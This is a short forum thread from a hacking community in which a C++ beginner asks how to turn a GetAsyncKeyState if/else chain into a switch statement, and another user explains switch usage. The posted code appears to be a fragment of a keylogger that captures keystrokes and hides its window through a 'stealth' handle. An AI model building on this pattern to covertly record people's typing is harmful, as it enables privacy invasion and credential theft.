Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.

C++ switch statement help


ghost's Avatar
0 0

Hello, I am having a little bit of difficulty finding out how I can take out the if else statements in my script, and replace them with a switch statement. I started learning c++ recently, sooo I probably haven't done enough google searching yet. Don't get me wrong, I know how to use a switch statement. It's just I don't know how to get a switch statement to be used with GetAsyncKeyState. Here is the code…

        if (!GetAsyncKeyState(VK_BACK))
          {
          if (!GetAsyncKeyState(VK_RETURN)) 
            {
            if (GetAsyncKeyState(190))
              {
              printf(".",character,character);
              } else if (GetAsyncKeyState(160)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(188)) {
              printf(",",character,character);
              } else if (GetAsyncKeyState(222)) {
              printf("'",character,character);
              } else if (GetAsyncKeyState(186)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(191)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(20)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(220)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(221)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(219)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(287)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(289)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(17)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(162)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(187)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(189)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(16)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(161)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(192)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(27)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(34)) {
              ShowWindow(stealth, SW_SHOWMINIMIZED);
              } else if (GetAsyncKeyState(35)) {
              ShowWindow(stealth, 0);
              } else {
              printf("%c",character,character);
              }
            }
          }


ghost's Avatar
0 0

Sweet Jesus that's horrible!

Switch-case are used to check one result against a set of values. Not to check multiple results( I think PHP lets you do this actually).

Is there a function which will return pressed keys? If so…

     switch(getPressedKey()){
          case 160:
                 printf("",character,character);
                 break;
          ..................
          default:
                  printf("%c",character,character);
     }
}```

ghost's Avatar
0 0

Thanks wolfman for the help. I have found my answer though. With a little bit of modifications to my code and a for statement, I am now able to get what I want done. Thanks again.